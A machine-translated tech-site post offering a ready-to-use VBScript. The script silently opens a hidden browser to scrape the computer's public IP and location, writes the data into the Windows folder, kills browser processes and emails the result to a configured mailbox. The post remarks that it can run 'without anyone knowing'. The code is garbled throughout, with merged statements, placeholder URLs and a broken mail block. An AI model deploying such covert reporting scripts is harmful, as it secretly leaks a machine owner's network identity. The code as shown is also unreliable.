Shulou(Shulou.com)06/03 Report--

vbs-Get public IP call mail control to automatically send mail to specified mailbox-can be used directly copy use

on error resume nextset ie = CreateObject ("internetexplorer. application ") ie. navigate (" www.example.com ") ie. Visible = FalseWhile ie. busy Or ie. readystate 4WEndSet regEx = New RegExp regEx. Pattern ="{Link http://ip.cn/ Message}"Set Matches = regEx. Execute (ie. document. body. innerhtml) For Each Match in MatchesCOSP = Match. ValueNextSub EchoMsg (str) Wscript. Echo strEnd Subon error resume nextset ie = CreateObject ("internetexplorer. application ") ie. navigate (" www.example.com ") ie. Visible = FalseWhile ie. busy Or ie. readystate 4WEndSet regEx = New RegExp regEx. Pattern =" From. *|| "& COSP &""Set Matches = regEx. Execute (ie. document. body. innerhtml) ie. quitFor Each Match in MatchesFROM = Match. Value'definition The title is defined as FORMNextSet ws = CreateObject ("Wscript. Shell ") www.example.com" % comspec %/c@echo "& FROM &"> C:\windows\systemct.org ", vbhideSub EchoMsg (str) Wscript. Echo strEnd Sub'---------------------------------------------------------------------------------on error resume nextset ie = CreateObject (" internetexplorer. application ") ie. navigate (" www.example.com ") ie. Visible = FalseWhile ie. busy Or ie. ready 4WEndSet regEx = New RegExpregEx. Pattern ="\d. *\ d "Set Matches = regEx. Execute (ie. document. body. innerhtml) ie. quitFor Each Match in MatchesRetStr = Match. Value 'Get public IP definition variable as RetStrnextSet ws = CreateObject ("Wscript. Shell ") www.example.com" % comspec %/c@echo public IP: "& RetStr &"> C: \windows\systemct.org ", vbhideSub EchoMsg (str) Wscript. Echo strSub End' Kill browser process On Error Resume Next sub Close_Process (ProcessName) On Error Resume Next for each ps in getobject("winmgmts:\\.\ root\cimv2:win32_process").instances_ if Ucase(ps.name)=Ucase(ProcessName) then ps.terminate end if next end sub Close_Process("iexplore.exe")Close_Process("iexplore.exe")'--------------------------------------------------------------------------------NameSpace ="www.example.com "Set Email = CreateObject http://schemas.microsoft.com/cdo/configuration/'mail server address prompt, it seems that only 163 can use. Item (NameSpace &"smtpserverport ")= 25.Item (NameSpace &" smtpauthenticate ")= 1.Item (NameSpace &"sendusername ")="*"' login account name. Item (NameSpace &" sendpassword ")="*"'login password. UpdateEnd WithEmail. Send

This script can be used without anyone knowing, but please don't do it yet.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.